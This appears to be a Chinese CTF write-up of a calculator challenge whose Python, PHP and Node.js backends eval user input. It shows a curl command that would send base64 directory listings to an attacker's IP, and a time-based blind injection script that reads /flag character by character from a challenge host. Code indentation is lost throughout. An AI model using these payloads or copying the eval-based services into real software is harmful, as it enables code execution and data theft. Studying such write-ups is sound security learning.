from flask import Flask, request
import bson
import json
import datetime
app = Flask(__name__)
@app.route("/", methods=["POST"])
def calculate():
data = request.get_data()
expr = bson.BSON(data).decode()
if 'exec' in dir(__builtins__):
del __builtins__.exec
return bson.BSON.encode({
"ret": str(eval(str(expr['expression'])))
})
if __name__ == "__main__":
app.run("0.0.0.0", 80)
ob_start();
$input = file_get_contents('php://input');
$options = MongoDB\BSON\toPHP($input);
$ret = eval('return ' . (string) $options->expression . ';');
echo MongoDB\BSON\fromPHP(['ret' => (string) $ret]);
同时加了一些限制
disable_functions = set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log
max_execution_time = 1
const express = require('express')
const bson = require('bson')
const bodyParser = require('body-parser')
const cluster = require('cluster')
const app = express()
if (cluster.isMaster) {
app.use(bodyParser.raw({ inflate: true, limit: '10kb', type: '*/*' }))
app.post('/', (req, res) => {
const body = req.body
const data = bson.deserialize(Buffer.from(body))
const worker = cluster.fork()
worker.send(data.expression.toString())
worker.on('message', (ret) => {
res.write(bson.serialize({ ret: ret.toString() }))
res.end()
})
setTimeout(() => {
if (!worker.isDead()) {
try {
worker.kill()
} catch (e) {
}
}
if (!res._headerSent) {
res.write(bson.serialize({ ret: 'timeout' }))
res.end()
}
}, 1000)
})
app.listen(80, () => {
console.log('Server created')
})
} else {
(function () {
const Module = require('module')
const _require = Module.prototype.require
Module.prototype.require = (arg) => {
if (['os', 'child_process', 'vm', 'cluster'].includes(arg)) {
return null
}
return _require.call(_require, arg)
}
})()
process.on('message', msg => {
const ret = eval(msg)
process.send(ret)
process.exit(0)
})
}
题目大概的意思就是一个计算器,我们输入一个式子,会同时传到三个后端,当三个后端的计算结果相同时才会生效,否则失败~~
validate(value: any, args: ValidationArguments) {
const str = value ? value.toString() : '';
if (str.length === 0) {
return false;
}
if (!(args.object as CalculateModel).isVip) {
if (str.length >= args.constraints[0]) {
return false;
}
}
if (!/^[0-9a-z\[\]\(\)\+\-\*\/ \t]+$/i.test(str)) {
return false;
}
return true;
}
这是对我们输入的正则检查~~
简单对这3种后端做一个总结,都过滤了个别危险函数/库,都做了超时设定。都会直接eval
输入的参数。
看完后端,我的第一反应:每一个后端都是直接进行eval,并没有预执行,或者放在sandbox中执行,那如果我们的恶意参数输入,确实是先执行后,才比对结果,那么最多只会看不到回显而已,按照规则,只能得到:
That's classified information. - Asahina Mikuru
但我们的恶意代码确实已经执行了。顺着这一点,我尝试考虑数据外带,例如:
curl ip:23333/`ls | base64`
但是通过docker-compose.yml中可以看见,三台后端都在内网,所以不能外带数据~~
想必大家都对sql盲注
耳熟能详,其中有一种类型的注入叫做基于时间的sql
注入,其原理是因为无论攻击者如何测试,网页回显永远保持一致,而攻击者只能通过时间来判断自己的结果是否成功。
对于这里的情况正好符合需求,因为我们无法得到命令执行回显,但可以得到网页执行的时间。
简单思考一下,前端做出的响应,一定是在3种后端都执行完毕后才进行响应。那么整个响应时间就会由3种后端,响应速度最慢的一个决定。那么我们是否可以只关注其中一个后端,让他的响应时间变为立即响应 / 延时5s响应,那么整个前端的时间就会变成立即响应 / 延时5s响应,那么我们就能通过前端的响应时间,来判断其中某个后端的执行结果是否成功。
但是这里我们遇到问题,不难发现,出题人在3个后端中都设置了超时1s的操作。
所以我们的payload
__import__('time').sleep(5) if {boolean_exp} else 1
最终的exp
#encoding = utf-8
import requests
from time import time
url = 'http://01e3f139-cfd0-45bd-8ac7-785de47d474b.node3.buuoj.cn/calculate'
def encode(payload):
return 'eval(%s)' % ('+'.join('chr(%d)' % ord(c) for c in payload))
def query(bool_expr):
payload = "__import__('time').sleep(5) if %s else 1" % bool_expr
t = time()
r = requests.post(url, json={'isVip': True, 'expression': encode(payload)})
# print(r.text)
delta = time() - t
print(payload, delta)
return delta > 5
def binary_search(geq_expression, l, r): #二分法~
eq_expression = geq_expression.replace('>=', '==')
while True:
if (r - l) < 4:
for mid in range(l, r + 1):
if query(eq_expression.format(num=mid)):
return mid
else:
print('NOT FOUND')
return
mid = (l + r) // 2
if query(geq_expression.format(num=mid)):
l = mid
else:
r = mid
# flag_len = binary_search("len(open('/flag').read())>={num}", 0, 100)
flag_len = 36
print('flag length: %d' % flag_len)
flag = 'flag{2ae5146c-eddd-41d7-90c9-3d3f850'
while len(flag) < 50:
c = binary_search("ord(open('/flag').read()[%d])>={num}" % len(flag), 0, 128)
if c: # the bs may fail due to network issues
flag += chr(c)
print(flag)
这儿也可以参考飘零师傅的博客~~
一叶飘零
飘零师傅的命令盲注~~
CTFtime